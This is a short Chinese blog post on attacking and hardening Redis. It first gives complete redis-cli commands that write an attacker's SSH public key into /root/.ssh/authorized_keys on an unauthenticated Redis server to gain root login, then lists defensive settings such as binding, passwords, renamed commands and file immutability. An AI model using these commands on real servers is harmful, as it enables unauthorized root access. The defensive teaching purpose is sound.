`

redis攻与防

 
阅读更多

redis攻与防

 

思路:

将入侵者(centos201)的公钥写入到被入侵者(centos200,没有安全措施redis服务器)上,从而达到直联centos200的目的。 

 

1、生成本机公钥(centos201)

ssh-keygen -t rsa

 

2、在本机执行命令完成入侵

redis-cli -h centos200 -p 6379 config set dir /root/.ssh

redis-cli -h centos200 -p 6379 config set dbfilename "authorized_keys"

redis-cli -h centos200 -p 6379 flushall

(echo -e '\n';cat /root/.ssh/id_rsa.pub;echo -e '\n') | redis-cli -h centos200 -p 6379  -x set crackit

redis-cli -h centos200 -p 6379 save

 

3、本机测试

ssh centos200

 

安全防护:

1、bind参数设置:绑定访问ip,不能任意IP(0.0.0.0)都可访问

2、更改默认的6379端口

3、设置复杂度较高的密码

4、禁用相关重要命令:flushall\config\eval,举例:rename-command FLUSHALL ""

5、禁止使用root启动redis,使用一些不能登录(nologin)的账号启动服务

groupadd -r redis && useradd -r -g redis redis

6、保证 authorized_keys 文件的安全

为了保证安全,您应该阻止其他用户添加新的公钥。

将 authorized_keys 的权限设置为对拥有者只读,其他用户没有任何权限:

$ chmod 400 ~/.ssh/authorized_keys

为保证 authorized_keys 的权限不会被改掉,您还需要设置该文件的 immutable 位权限:

# chattr +i ~/.ssh/authorized_keys

然用户还可以重命名 ~/.ssh,然后新建新的 ~/.ssh 目录和 authorized_keys 文件。要避免这种情况,需要设置 ~./ssh 的 immutable 位权限:

# chattr +i ~/.ssh

注意: 如果需要添加新的公钥,需要移除 authorized_keys 的 immutable 位权限。然后,添加好新的公钥之后,按照上述步骤重新加上 immutable 位权限。

分享到:
评论

相关推荐

Global site tag (gtag.js) - Google Analytics